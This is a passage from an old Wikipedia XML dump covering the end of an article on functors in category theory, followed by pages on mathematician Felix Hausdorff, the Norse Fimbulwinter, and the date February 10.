Ordinary functors are also called '''covariant functors''' in order to distinguish them from contravariant ones. Note that one can also define a contravariant functor as a ''covariant'' functor on the [[dual category]] &lt;math&gt;C^{op}&lt;/math&gt;. Some authors prefer to write all expressions covariantly. That is, instead of saying &lt;math&gt;F: C\rightarrow D&lt;/math&gt; is a contravariant functor, they simply write &lt;math&gt;F: C^{op} \rightarrow D&lt;/math&gt;  (or sometimes &lt;math&gt;F:C \rightarrow D^{op}&lt;/math&gt;) and call it a functor.

Contravariant functors are also occasionally called ''cofunctors''.  This is an incorrect usage of the prefix &quot;co&quot;, which in a categorical context usually means &quot;reverse all arrows&quot;.  Recall that a functor ''F'' maps a morphism ''f'':''X''&amp;rarr;''Y'' to a morphism ''F(f)'':''F(X)''&amp;rarr;''F(Y)''.  Reversing all the arrows would map morphisms ''f'':''X''&amp;larr;''Y'' to morphisms ''F(f)'':''F(X)''&amp;larr;''F(Y)'', but by transposing ''X'' and ''Y'' we see that this gives the same object as before.  Consequently a cofunctor, properly speaking, is the same type of object as a functor.

==Examples==

'''Constant functor:''' A very boring functor ''C'' &amp;rarr; ''D'' is one which maps every object of ''C'' to a fixed object ''X'' in ''D'' and every morphism in ''C'' to the identity morphism on ''X''. Such a functor is called a ''constant'' or ''selection'' functor.

'''Power sets:''' The power set functor ''P'' : '''Set''' &amp;rarr; '''Set''' maps each set to its [[power set]] and each function &lt;math&gt; f : X \to Y&lt;/math&gt; to the map which sends &lt;math&gt;U \subseteq X&lt;/math&gt; to its image &lt;math&gt;f(U) \subseteq Y&lt;/math&gt;. One can also consider the contravariant power set functor which sends ''f'' to the map which sends ''U'' to its [[inverse image]] in ''Y''.

'''Dual vector space:''' The map which assigns to every [[vector space]] its [[dual space]] and to every [[linear operator|linear map]] its dual or transpose is a contravariant functor from the category of all vector spaces over a fixed [[field (mathematics)|field]] to itself.

'''Fundamental group:''' Consider the category of [[pointed topological space]]s, i.e. topological spaces with distinguished points. The objects are pairs (''X'', ''x''&lt;sub&gt;0&lt;/sub&gt;), where ''X'' is a topological space and ''x''&lt;sub&gt;0&lt;/sub&gt; is a point in ''X''. A morphism from (''X'', ''x''&lt;sub&gt;0&lt;/sub&gt;) to (''Y'', ''y''&lt;sub&gt;0&lt;/sub&gt;) is given by a [[continuous function (topology)|continuous]] map ''f'' : ''X'' &amp;rarr; ''Y'' with ''f''(''x''&lt;sub&gt;0&lt;/sub&gt;) = ''y''&lt;sub&gt;0&lt;/sub&gt;.

To every topological space ''X'' with distinguished point ''x''&lt;sub&gt;0&lt;/sub&gt;, one can define the [[fundamental group]] based at ''x''&lt;sub&gt;0&lt;/sub&gt;, denoted &amp;pi;&lt;sub&gt;1&lt;/sub&gt;(''X'', ''x''&lt;sub&gt;0&lt;/sub&gt;). This is the [[group (mathematics)|group]] of [[homotopy]] classes of loops based at ''x''&lt;sub&gt;0&lt;/sub&gt;. If ''f'' : ''X'' &amp;rarr; ''Y'' morphism of [[pointed space]]s, then every loop in ''X'' with base point ''x''&lt;sub&gt;0&lt;/sub&gt; can be composed with ''f'' to yield a loop in ''Y'' with base point ''y''&lt;sub&gt;0&lt;/sub&gt;. This operation is compatible with the homotopy [[equivalence relation]] and the composition of loops, and we get a [[group homomorphism]] from &amp;pi;(''X'', ''x''&lt;sub&gt;0&lt;/sub&gt;) to &amp;pi;(''Y'', ''y''&lt;sub&gt;0&lt;/sub&gt;). We thus obtain a functor from the category of pointed topological spaces to the [[category of groups]].

In the category of topological spaces (without distinguished point), one considers homotopy classes of generic curves, but they cannot be composed unless they share an endpoint.  Thus one has the '''fundamental [[groupoid]]''' instead of the fundamental group, and this construction is functorial.

'''Algebra of continuous functions:''' a contravariant functor from the category of [[topology|topological spaces]] (with continuous maps as morphisms) to the category of real [[associative algebra|associative algebras]] is given by assigning to every topological space ''X'' the algebra C(''X'') of all real-valued continuous functions on that space. Every continuous map ''f'' : ''X'' &amp;rarr; ''Y'' induces an [[algebra homomorphism]] C(''f'') : C(''Y'') &amp;rarr; C(''X'') by the rule C(''f'')(&amp;phi;) = &amp;phi; o ''f'' for every &amp;phi; in C(''Y'').

'''Tangent and cotangent bundles:''' The map which sends every [[differentiable manifold]] to its [[tangent bundle]] and every [[smooth map]] to its [[derivative]] is a covariant functor from the category of differentiable manifolds to the category of [[vector bundle]]s. Likewise, the map which sends every differentiable manifold to its [[cotangent bundle]] and every smooth map to its [[pullback]] is a contravariant functor.

Doing these constructions pointwise gives covariant and contravariant functors from the category of pointed differentiable manifolds to the category of real vector spaces.

'''Group actions/representations:''' Every [[group (mathematics)|group]] ''G'' can be considered as a category (or [[groupoid]]) with a single object. A functor from ''G'' to '''Set''' is nothing but a [[group action]] of ''G'' on a particular set, i.e. a ''G''-set. Likewise, a functor from ''G'' to the [[category of vector spaces]], '''Vect'''&lt;sub&gt;''K''&lt;/sub&gt;, is a [[linear representation]] of ''G''. In general, a functor ''G'' &amp;rarr; ''C'' can be considered as an &quot;action&quot; of ''G'' on an object in the category ''C''.

'''Lie algebras:''' Assigning to every real (complex) [[Lie group]] its real (complex) [[Lie algebra]] defines a functor.

'''Tensor products:''' If ''C'' denotes the category of vector spaces over a fixed field, with [[linear operator|linear maps]] as morphisms, then the [[tensor product]] &lt;math&gt;V \otimes W&lt;/math&gt; defines a functor ''C'' &amp;times; ''C'' &amp;rarr; ''C'' which is covariant in both arguments.

'''Forgetful functors:''' The functor ''U'' : '''Grp''' &amp;rarr; '''Set''' which maps a [[group (mathematics)|group]] to its underlying set and a [[group homomorphism]] to its underlying function of sets is a functor. Functors like these, which &quot;forget&quot; some structure, are termed ''[[forgetful functor]]s''. Another example is the functor '''Rng''' &amp;rarr; '''Ab''' which maps a [[ring (algebra)|ring]] to its underlying additive [[abelian group]]. Morphisms in '''Rng''' ([[ring homomorphism]]s) become morphisms in '''Ab''' (abelian group homomorphisms). 

'''Free functors:''' Going in the opposite direction of forgetful functors are free functors. The free functor ''F'' : '''Set''' &amp;rarr; '''Grp''' sends every set ''X'' to the [[free group]] generated by ''X''. Functions get mapped to group homomorphisms between free groups. Free constructions exist for many categories based on structured sets. See [[free object]].

'''Homomorphism groups:''' To every pair ''A'', ''B'' of [[group (mathematics)|abelian groups]] one can assign the abelian group Hom(''A'',''B'') consisting of all [[group homomorphism|group homomorphisms]] from ''A'' to ''B''. This is a functor which is contravariant in the first and covariant in the second argument, i.e. it is a functor '''Ab'''&lt;sup&gt;op&lt;/sup&gt; &amp;times; '''Ab''' &amp;rarr; '''Ab''' (where '''Ab''' denotes the [[category of abelian groups]] with group homomorphisms). If ''f'' : ''A''&lt;sub&gt;1&lt;/sub&gt; &amp;rarr; ''A''&lt;sub&gt;2&lt;/sub&gt; and ''g'' : ''B''&lt;sub&gt;1&lt;/sub&gt; &amp;rarr; ''B''&lt;sub&gt;2&lt;/sub&gt; are morphisms in '''Ab''', then the group homomorphism Hom(''f'',''g'') : Hom(''A''&lt;sub&gt;2&lt;/sub&gt;,''B''&lt;sub&gt;1&lt;/sub&gt;) &amp;rarr; Hom(''A''&lt;sub&gt;1&lt;/sub&gt;,''B''&lt;sub&gt;2&lt;/sub&gt;) is given by &amp;phi; &lt;tt&gt;|-&gt;&lt;/tt&gt; ''g'' o &amp;phi; o ''f''.  See [[Hom functor]].

'''Representable functors:''' We can generalize the previous example to any category ''C''. To every pair ''X'', ''Y'' of objects in ''C'' one can assign the set Mor(''X'',''Y'') of morphisms from ''X'' to ''Y''. This defines a functor to '''Set''' which is contravariant in the first argument and covariant in the second, i.e. it is a functor ''C''&lt;sup&gt;op&lt;/sup&gt; &amp;times; ''C'' &amp;rarr; '''Set'''. If ''f'' : ''X''&lt;sub&gt;1&lt;/sub&gt; &amp;rarr; ''X''&lt;sub&gt;2&lt;/sub&gt; and ''g'' : ''Y''&lt;sub&gt;1&lt;/sub&gt; &amp;rarr; ''Y''&lt;sub&gt;2&lt;/sub&gt; are morphisms in ''C'', then the group homomorphism Mor(''f'',''g'') : Mor(''X''&lt;sub&gt;2&lt;/sub&gt;,''Y''&lt;sub&gt;1&lt;/sub&gt;) &amp;rarr; Mor(''X''&lt;sub&gt;1&lt;/sub&gt;,''Y''&lt;sub&gt;2&lt;/sub&gt;) is given by &amp;phi; &lt;tt&gt;|-&gt;&lt;/tt&gt; ''g'' o &amp;phi; o ''f''.

Functors like these are called [[representable functor]]s. A major goal in many settings is to determine whether a given functor is representable.

'''Presheaves:''' If ''X'' is a [[topological space]], then the [[open set]]s in ''X'' form a [[partially ordered set]] Open(''X'') under inclusion. Like every partially ordered set, Open(''X'') forms a small category by adding a single arrow ''U'' &amp;rarr; ''V'' if and only if &lt;math&gt;U \subseteq V&lt;/math&gt;. Contravariant functors on Open(''X'') are called ''[[presheaf|presheaves]]'' on ''X''. For instance, by assigning to every open set ''U'' the [[associative algebra]] of real-valued continuous functions on ''U'', one obtains a presheaf of algebras on ''X''.

==Properties==

Two important consequences of the functor [[axiom]]s are:
* ''F'' transforms each [[commutative diagram]] in ''C'' into a commutative diagram in ''D'';
* if ''f'' is an [[isomorphism]] in ''C'', then ''F''(''f'') is an isomorphism in ''D''.

On any category ''C'' one can define the '''identity functor''' 1&lt;sub&gt;''C''&lt;/sub&gt; which maps each object and morphism to itself. One can also compose functors, i.e. if ''F'' is a functor  from ''A'' to ''B'' and ''G'' is a functor from ''B'' to ''C'' then one can form the composite functor ''GF'' from ''A'' to ''C''. Composition of functors is associative where defined. This shows that functors can be considered as morphisms in categories of categories.

A category with a single object is equivalent to a [[monoid]] whose elements are morphisms and whose operation is composition. Functors between monoids, considered as categories, are nothing more than monoid [[homomorphism]]s. So in a sense, functors between arbitrary categories are a kind of generalization of monoid homomorphisms to categories with more than one object.

==Relation to other categorical concepts==

Functors themselves can be considered as objects in a category called a [[functor category]]. Morphisms in this category are [[natural transformation]]s between functors.

Functors are often defined by [[universal property|universal properties]]; examples are the [[tensor product]], the [[direct sum]] and [[direct product]] of groups or vector spaces, construction of free groups and modules, [[direct limit|direct]] and [[inverse limit|inverse]] limits. The concepts of [[limit (category theory)|limit and colimit]] generalize several of the above.

Universal constructions often give rise to pairs of [[adjoint functors]].

==See also==
*[[faithful functor]] a functor which is injective on the set of morphisms with given domain and codomain
*[[forgetful functor]] a forgetful functor takes a set with structures to the underlying set with fewer or none of its structures
*[[full functor]] a functor which is surjective on the set of morphisms with given domain and codomain
*[[essentially surjective functor]] a functor every object of whose codomain is isomorphic to the image of an object in the domain
*[[adjoint functors]] ''F'' and ''G'' are adjoint if Hom(''FX'',''Y'')&amp;cong;Hom(''X'',''GY'')
*[[additive functor]] a functor between categories whose hom-sets are abelian groups is additive if it is a group homomorphism of the hom-sets
*[[exact functor]] takes [[short exact sequence]]s to short exact sequences
*[[derived functor]] the image of a short exact sequence under a functor that is only half-exact can be extended to a long exact sequence. the objects of which are images of a derived functor
*[[enriched functor]] 
*[[Kan extension]]

[[Category:Category theory]]

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    <title>Felix Hausdorff</title>
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      <text xml:space="preserve">[[Image:Hausdorff 1913-1921.jpg|thumb|right|Felix Hausdorff]]

'''Felix Hausdorff'''  ([[November 8]], [[1868]] &amp;ndash; [[January 26]], [[1942]]) was a German [[mathematician]] who is considered to be one of the founders of modern [[topology]] and who contributed significantly to [[set theory]] and [[functional analysis]]. He defined and studied [[partially ordered set]]s,
[[Hausdorff space]]s, and the [[Hausdorff dimension]], proved the [[Hausdorff maximality theorem]], solved what is now called the [[Hausdorff moment problem]], and published philosophical and literary works under the pseudonym &quot;Paul Mongré&quot;.

Hausdorff studied in [[Leipzig]] and taught mathematics there until [[1910]], when he became professor of mathematics in [[Bonn]]. He was professor in [[Greifswald]] from [[1913]] to [[1921]]. When the [[Nazi]]s came to power, Hausdorff, who was [[Jew]]ish, felt that as a respected university professor he would be spared from persecution.  However, his abstract mathematics was denounced as &quot;Jewish&quot;, useless, and &quot;un-German&quot; and he lost his position in [[1935]]. When in 1942 he could no longer avoid being sent to a concentration camp, Hausdorff committed [[suicide]] together with his wife and sister-in-law on the 26th of January.

== Important publications ==

* [[Grundzüge der Mengenlehre]]

== External links ==

* [http://www.aic.uni-wuppertal.de/fb7/hausdorff/  Homepage of the Hausdorff Edition (german)]
* [http://www.ulb.uni-bonn.de/bibliothek/veroeffentlichungen&amp;ausstellungen/veroeffentlichungen/hausdorff.pdf Hausdorff Findbuch]

[[Category:1868 births|Hausdorff, Felix]]
[[Category:1942 deaths|Hausdorff, Felix]]
[[Category:German mathematicians|Hausdorff, Felix]]
[[Category:Jewish mathematicians|Hausdorff, Felix]]
[[Category:19th century mathematicians|Hausdorff, Felix]]
[[Category:20th century mathematicians|Hausdorff, Felix]]
[[Category:Topologists|Hausdorff, Felix]]
[[Category:Suicides|Hausdorff, Felix]]

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[[he:פליקס האוסדורף]]
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[[ru:Хаусдорф, Феликс]]
[[sl:Felix Hausdorff]]
[[zh:费利克斯·豪斯多夫]]</text>
    </revision>
  </page>
  <page>
    <title>Fimbulwinter</title>
    <id>10990</id>
    <revision>
      <id>39639672</id>
      <timestamp>2006-02-14T21:36:32Z</timestamp>
      <contributor>
        <username>Nixdorf</username>
        <id>5771</id>
      </contributor>
      <comment>dating</comment>
      <text xml:space="preserve">In [[Norse Mythology|Norse mythology]] and [[Ásatrú]] (according to the [[Edda]]s), '''Fimbulwinter''' is the immediate prelude to the [[end of the world]], [[Ragnarok]]. Fimbulwinter is three successive [[winter]]s without any intervening [[summer]]. During this time, there will be innumerable wars and brothers will kill brothers.

The original spelling of this word in the [[Old Norse language]] is '''Fimbulvintr''' (Denmark and Sweden) or '''Fimbulvetr''' (Iceland and Norway), ''fimbul'' meaning &quot;the great/big&quot; so the correct interpretation of the word is &quot;the great winter&quot;.{{ref|SAOB}}

There have been several popular speculations about whether this particular piece of mythology has a connection to the [[climate change]] that occurred in the Nordic countries at the end of the [[Nordic Bronze Age]], circa [[650 BC]]. Before this climate change, the Nordic countries were considerably warmer.{{ref|Strom}}

In [[Sweden]], [[Norway]] and other Nordic countries, the term '''fimbulwinter''' may also casually be used to refer to any unusually cold and harsh [[winter]] with lots of [[snow]].{{ref|SAOB}}

==Etymological speculation==

The Old English cognate is ''fifel'' meaning &quot;Giant, (Sea) Monster&quot;, thereby retaining the root sense of &quot;Large, Vast in Extent&quot;.  Thus, in both the Old Norse ''fimbul'' and Old English ''fifel'' we see the root word for the number &quot;five&quot;.  Now, in Greek, the word for five is &quot;penta&quot;, and it gives us the Greek prefix &quot;pan-&quot; meaning &quot;All Encompassing&quot;, from the sense of &quot;All Five Fingers on One Hand&quot; being a metaphor for &quot;everything&quot; (''The Teaching Company'' lecture series on Linguistics).  Therefore, it seems likely that the Germanic &quot;fimbul-&quot; is the exact cognate of the Greek &quot;pan-&quot;, both meaning &quot;Everything, All Inclusive&quot;.  The ''fimbulwinter'', then, was a winter that encompassed everything -- to wit, all lands in Scandinavia and Finland and, perhaps, the British Isles, all the lands the folk of the Nordic Bronze Age knew of.

==Sources==
*{{Note|SAOB}} [[Svenska Akademiens Ordbok]], entry for ''Fimbulvinter'' [http://g3.spraakdata.gu.se/saob/show.phtml?filenr=1/68/17359.html]
*{{Note|Folke}} Ström, Folke: ''Nordisk Hedendom'', Studentlitteratur, Lund 2005, ISBN 9144005512 (first published 1961) among others, refer the climate change theory.

==Influences==

* In the video game series [[Fire Emblem]] there is a magical spellbook named '''Fimbulvetr''' which uses the power of a [[snowstorm]].
* The [[Sweden | Swedish]] [[Melodic Death Metal]] band '''[[Amon Amarth (band)|Amon Amarth]]''' released an album entitled ''[[Arrival of the Fimbul Winter]]'' in 1994.
* In the game Warrior Kings Fimbulwinter is an Act of God that can be called down upon an enemy village.
* In the video game [[Age of Mythology]], there is a godpower named Fimbulwinter, causing opponents' devastation by invoking nordic wolves.

==See also==
*[[Eschatology]]

{{NorseMythology}}

[[Category:Events in Norse mythology]]

[[de:Fimbulwinter]]
[[it:Fimbulvetr]]
[[no:Fimbulvinteren]]
[[nn:Fimbulvinteren]]
[[sv:Fimbulvinter]]
[[uk:Велика Зима]]</text>
    </revision>
  </page>
  <page>
    <title>February 10</title>
    <id>10991</id>
    <revision>
      <id>41907215</id>
      <timestamp>2006-03-02T15:02:49Z</timestamp>
      <contributor>
        <username>Jimmmmmmmmm</username>
        <id>515208</id>
      </contributor>
      <comment>/* Births */ added Naybet</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=10}}
|}
'''February 10''' is the 41st day of the year in the [[Gregorian Calendar]]. There are 324 days remaining, 325 in [[leap year]]s.
==Events==
* [[1258]] - [[Battle of Baghdad (1258)|Battle of Baghdad]] - [[Mongols]] overrun [[Baghdad]], burning it to the ground and killing large numbers of citizens (estimates range from 10,000 to 800,000).
* [[1355]] - The [[St. Scholastica riot|St. Scholastica's Day riot]] breaks out in [[Oxford]], [[England]], leaving 63 scholars and perhaps 30 locals dead in two days.
* [[1542]] - Queen [[Catherine Howard]] of [[England]] is confined in the [[Tower of London]] to be [[Execution (legal)|executed]] three days later for treason ([[adultery]]).
* [[1763]] - [[French and Indian War]]: The [[1763 Treaty of Paris]] ends the war and [[France]] cedes [[Canada]] to [[Great Britain]].
* [[1814]] - [[Battle of Champaubert]] occurs.
* [[1840]] - Queen [[Victoria of the United Kingdom]] marries [[Prince Albert of Saxe-Coburg-Gotha]].  
* [[1846]] - [[Battle of Sobraon]] - British defeat Sikhs in final battle of 1st Anglo-Sikh War
* [[1863]] -  The world-famous dwarfs [[General Tom Thumb]] and [[Lavinia Warren]] get married in [[New York City]].  
* 1863 - [[Alanson Crane]] patents the [[fire extinguisher]].  
* [[1870]] -  [[Anaheim, California]] is incorporated.  
* 1870 - The [[YWCA]] is founded ([[New York City]]).
* [[1920]] - [[Jozef Haller de Hallenburg]] performs  [[Engagement of Poland with the sea|symbolic engagement of Poland with the sea]], celebrating restitution of [[Polish]] access to open sea.
* [[1929]] - Msgr. [[Stephen Peter Alencastre|Stephen Alencastre]], [[SS.CC.]], dedicates the beautiful [[Romanesque]] church of [[Saint Patrick Catholic Church in Honolulu|Saint Patrick]] in [[Honolulu]].
* [[1931]] - [[New Delhi]] becomes the capital of [[India]].
* [[1933]] - The [[New York City]]-based [[Postal Telegraph Company]] introduces the first [[singing telegram]].  
* 1933 - In round 13 of a [[boxing]] match at [[New York City]]'s [[Madison Square Garden]], [[Primo Carnera]] knocks out [[Ernie Schaaf]], killing him.
* [[1947]] - [[Italy]] cedes most of [[Venezia Giulia]] to [[Socialist Federal Republic of Yugoslavia|Yugoslavia]].
* [[1949]] - ''[[Death of a Salesman]]'' opens at the [[Morocco Theatre]] in [[New York City]].
* [[1954]] - [[President of the United States|President]] [[Dwight Eisenhower]] warns against [[United States]] intervention in [[Vietnam]].
* [[1962]] - Captured [[United States|American]] spy pilot [[Gary Powers|Francis Gary Powers]] is exchanged for captured [[Soviet]] spy [[Rudolf Abel]].
* [[1964]] - The aircraft carrier ''[[HMAS Melbourne (1945)|HMAS Melbourne]]'' collides with the [[HMAS Voyage|HMAS ''Voyager'']] off the south coast of [[New South Wales]], [[Australia]].
* [[1967]] - The [[Twenty-fifth Amendment to the United States Constitution|25th Amendment to the United States Constitution]] is ratified.  
* [[1981]] - A fire at the [[Las Vegas Hilton]] [[hotel]]-[[casino]] kills eight and injures 198.
* [[1982]] - The [[German people|German]] movie ''[[Das Boot]]'' opens in [[United States]] theaters.
* [[1989]] - [[Ron Brown (U.S. politician)|Ron Brown]] is elected chairman of the [[Democratic National Committee]] becoming the first [[African American]] to lead a major [[United States|American]] [[political party]].  
* [[1992]] - In [[Indianapolis, Indiana]], boxer [[Mike Tyson]] is convicted of raping a [[Miss Black America Contest|Miss Black America]] contestant named [[Desiree Washington]].  
* [[1996]] - The [[IBM]] supercomputer [[Deep Blue]] defeats [[Garry Kasparov]] for the first time.
* [[1997]] - The [[United States Army]] suspends [[Sergeant Major|CSM]] [[Gene C. McKinney]], its top-ranking enlisted soldier, after hearing allegations of sexual misconduct.  
* [[1998]] - A [[college]] dropout becomes the first person to be convicted of a [[hate crime]] committed in [[cyberspace]].  
* 1998 - Voters in [[Maine]] repeal a [[gay rights]] law passed in [[1997]] becoming the first [[U.S. state]] to abandon such a law.  
* [[1999]] - Avalanches in the [[French Alps]] near [[Geneva]] kill at least 10.
* [[2003]] - Hockey star [[Brett Hull]] scores his 700th [[National Hockey League|NHL]] goal.
* 2003 - [[France]] and [[Belgium]] broke the [[NATO]] procedure of silent approval concerning the timing of protective measures for [[Turkey]] in case of a possible war with [[Iraq]].
* 2003 - [[Muslim]]s celebrate the [[Islamic festival]] of [[Eid al-Adha]]. See also [[Hajj]].
* [[2005]] - [[North Korea and weapons of mass destruction]]: [[North Korea]] suspends participation in multi-nation talks to discuss its arms program and officially admits to developing [[nuclear weapon]]s.
* [[2006]] - The [[2006 Olympic Winter Games]] open in [[Turin]], [[Italy]].
* 2006 - The [[2006 Super 14 season]] opens in [[Eden Park|Auckland]], [[New Zealand]] with the [[Auckland Blues|Blues]] losing at home to the [[Wellington Hurricanes|Hurricanes]], 19&amp;ndash;37.

==Births==
*[[1499]] - [[Thomas Platter]], Swiss humanist (d. [[1582]])
*[[1524]] - [[Albrecht Giese IV]], German politician and diplomat (d. [[1580]])
*[[1609]] - Sir [[John Suckling (poet)|John Suckling]], English poet (d. [[1642]])
*[[1685]] - [[Aaron Hill]], English writer (d. [[1750]])
*[[1785]] - [[Claude-Louis Navier]], French physicist (d. [[1936]])
*[[1846]] - [[Charles Beresford]], British admiral and politician (d. [[1919]])
*[[1887]] - [[John Franklin Enders]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1985]])
*[[1890]] - [[Boris Pasternak]], Russian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (declined) (d. [[1960]])
*[[1892]] - [[Alan Hale Sr.]], American actor (d. [[1950]])
*[[1893]] - [[Jimmy Durante]], American actor, singer, and comedian (d. [[1980]])
*[[1893]] - [[Bill Tilden]], American tennis player (d. [[1953]])
*[[1894]] - [[Harold Macmillan]], [[Prime Minister of the United Kingdom]] (d. [[1986]])
*[[1897]] - Dame [[Judith Anderson]], Australian actress (d. [[1992]])
*[[1898]] - [[Bertolt Brecht]], German author (d. [[1956]])
*[[1901]] - [[Stella Adler]], American actress (d. [[1992]])
*[[1902]] - [[Walter Houser Brattain]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1987]])
*[[1904]] - [[John Farrow]], American film director (d. [[1963]])
*[[1906]] - [[Lon Chaney Jr.]], American actor (d. [[1973]])
*1906 - [[Erik Rhodes]], American actor (d. [[1990]])
*[[1910]] - [[Georges Pire]], Belgian monk, recipient of the [[Nobel Peace Prize]] (d. [[1969]])
*[[1914]] - [[Larry Adler]], American musician (d. [[2001]])
*[[1920]] - [[Alex Comfort]], physician and writer (d. [[2000]])
*[[1926]] - [[Danny Blanchflower]], Northern Irish footballer and football manager (d. [[1993]])
*[[1927]] - [[Leontyne Price]], American soprano
*[[1929]] - [[Jerry Goldsmith]], American composer (d. [[2004]])
*[[1930]] - [[Robert Wagner]], American actor
*[[1931]] - [[Thomas Bernhard]], Austrian author (d. [[1989]])
*[[1932]] - [[Branko Lustig]], Croatian film producer
*[[1934]] - [[Fleur Adcock]], New Zealand poet
*[[1939]] - [[Adrienne Clarkson]], 26th [[Governor General of Canada]]
*1939 - [[Roberta Flack]], American singer
*[[1941]] - [[Michael Apted]], British director
*[[1944]] - [[Peter Allen]], Australian singer and actor (d. [[1992]])
*1944 - [[Frank Keating]], American politician
*1944 - [[Vernor Vinge]], American novelist
*[[1947]] - [[Louise Arbour]], Canadian judge
*[[1948]] - [[Luis Donaldo Colosio]], Mexican politician (d. [[1994]])
*[[1949]] - [[Maxime Le Forestier]], French singer
*1949 - [[Harold Sylvester]], American actor
*[[1950]] - [[Mark Spitz]], American swimmer
*[[1951]] - [[Roxanne Pulitzer]], American model
*1951 - [[Robert Iger]], President and CEO of [[The Walt Disney Company]]
*[[1955]] - [[Christopher Adams]], British judoka and professional wrestler (d. [[2001]])
*1955 - [[Greg Norman]], Australian golfer
*[[1960]] - [[Robert Addie]], British actor (d. [[2003]])
*[[1961]] - [[Alexander Payne]], American film director
*1961 - [[George Stephanopoulos]], American political consultant and commentator
*[[1962]] - [[Cliff Burton]], American musician (d. [[1986]])
*1962 - [[Bobby Czyz]], American boxer
*[[1963]] - [[Lenny Dykstra]], baseball player
*[[1968]] - [[Atika Suri]], Indonesian television newscaster
*[[1969]] - [[Tim Clark]], golfer
*1969 - [[Joe Mangrum]], American artist
*[[1970]] - [[Noureddine Naybet]], Moroccan footballer
*[[1971]] - [[Lisa Marie Varon]], American professional wrestler
*[[1974]] - [[Ty Law]], American football player
*[[1976]] - [[Lance Berkman]], baseball player
*[[1976]] - [[Dat Nguyen]] - football player
*[[1979]] - [[Daryl Palumbo]], American musician
*1979 - [[Ross Powers]], American snowboarder
*[[1980]] - [[César Izturis]], baseball player
*[[1981]] - [[Natasha St-Pier]], Canadian singer
*1981 - [[The Rev|The Reverend Tholomew Plague]], American Drummer ([[Avenged Sevenfold]])
*[[1985]] - [[Anette Sagen]], Norwegian ski jumper
*[[1991]] - [[Emma Roberts]], American actress
*[[1994]] - [[Makenzie Vega]], American actress
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1126]] - [[William IX of Aquitaine|William IX, Duke of Aquitaine]], poet (b. [[1071]])
*[[1162]] - King [[Baldwin III of Jerusalem]] (b. [[1130]])
*[[1242]] - [[Emperor Shijo]] of Japan (b. [[1231]])
*[[1278]] - [[Margaret II of Flanders]] (b. [[1202]])
*[[1576]] - [[Guilielmus Xylander]], German classical scholar (b. [[1532]])
*[[1686]] - [[William Dugdale]], English antiquarian (b. [[1605]])
*[[1722]] - [[Bartholomew Roberts]], English pirate
*[[1755]] - [[Charles de Secondat, Baron de Montesquieu|Montesquieu]], French writer (b. [[1689]])
*[[1758]] - [[Thomas Ripley (architect)|Thomas Ripley]], English architect
*[[1782]] - [[Friedrich Christoph Oetinger]], German theologian (b. [[1702]])
*[[1829]] - [[Pope Leo XII]] (b. [[1760]])
*[[1837]] - [[Aleksandr Pushkin]], Russian poet and novelist (b. [[1799]])
*[[1865]] - [[Heinrich Lenz]], German physicist (b. [[1804]])
*[[1904]] - [[John A. Roche]], Mayor of Chicago (b. [[1844]])
*[[1912]] - [[Joseph Lister]], British surgeon (b. [[1827]])
*[[1917]] - [[John William Waterhouse]], Italian-born artist (b. [[1849]])
*[[1918]] - [[Abdul Hamid II]] [[Ottoman Sultan]] (b. [[1842]])
*1918 - [[Ernesto Teodoro Moneta]], Italian pacifist, recipient of the [[Nobel Peace Prize]] (b. [[1833]])
*[[1923]] - [[Wilhelm Röntgen]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1845]])
*[[1932]] - [[Edgar Wallace]], English novelist and screenwriter (b. [[1875]])
*[[1939]] - [[Pope Pius XI]] (b. [[1857]])
*[[1950]] - [[Marcel Mauss]], French sociologist (b. [[1872]])
*[[1957]] - [[Laura Ingalls Wilder]], American author (b. [[1867]])
*[[1960]] - [[Aloysius Stepinac]], Croatian cardinal (b. [[1898]])
*[[1964]] - [[Eugen Sänger]], Austrian aerospace engineer (b. [[1905]])
*[[1966]] - [[Billy Rose]], American composer and band leader (b. [[1899]])
*[[1984]] - [[David Adkisson|David Von Erich]], professional wrestler (b. [[1958]])
*[[1985]] - [[Johnny Mokan]], baseball player (b. [[1895]])
*[[1992]] - [[Alex Haley]], American author (b. [[1921]])
*[[1993]] - [[Fred Hollows]], Australian ophthalmologist  (b. [[1929]])
*[[2000]] - [[Jim Varney]], American actor (b. [[1949]])
*[[2001]] - [[Abraham Beame]], Mayor of New York City (b. [[1906]])
*[[2002]] - [[Traudl Junge]], [[Hitler]]'s secretary (b. [[1920]])
*[[2003]] - [[Edgar de Evia]], American photographer (b. [[1910]])
*2003 - [[Curt Hennig]], American professional wrestler (b. [[1958]])
*2003 - [[Clark MacGregor]], U.S. Congressman (b. [[1922]])
*2003 - [[Al Ruffo]], Mayor of San Jose, California (b. [[1908]])
*2003 - [[Ron Ziegler]], American press secetary to [[Richard Nixon]] (b. [[1939]])
*[[2005]] - [[Arthur Miller]], American playwright (b. [[1915]])
*[[2006]] - [[J Dilla]], Rapper/Producer, former member of Slum Village (b. [[1974]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
* [[Catholicism]] - [[Scholastica|St. Scholastica Day]]; [[World Marriage Day]].
* [[Italy]] - ''[[National Memorial Day of the Exiles and Foibe]]'' to commemorate [[Italian]] [[Istria]]n and [[Dalmatia]]n exiliee and [[Foibe massacres]].
* [[Malta]] - [[Paul of Tarsus|St. Paul's]] Shipwreck  day. Birth of [[Catholicism]] in Malta.

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=10 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060210.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/10 BBC: On This Day]

----

[[February 9]] - [[February 11]] - [[January 10]] - [[March 10]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:10 Februarie]]
[[ar:10 فبراير]]
[[an:10 de frebero]]
[[ast:10 de febreru]]
[[bg:10 февруари]]
[[be:10 лютага]]
[[bs:10. februar]]
[[ca:10 de febrer]]
[[ceb:Pebrero 10]]
[[cv:Нарăс, 10]]
[[co:10 di frivaghju]]
[[cs:10. únor]]
[[cy:10 Chwefror]]
[[da:10. februar]]
[[de:10. Februar]]
[[et:10. veebruar]]
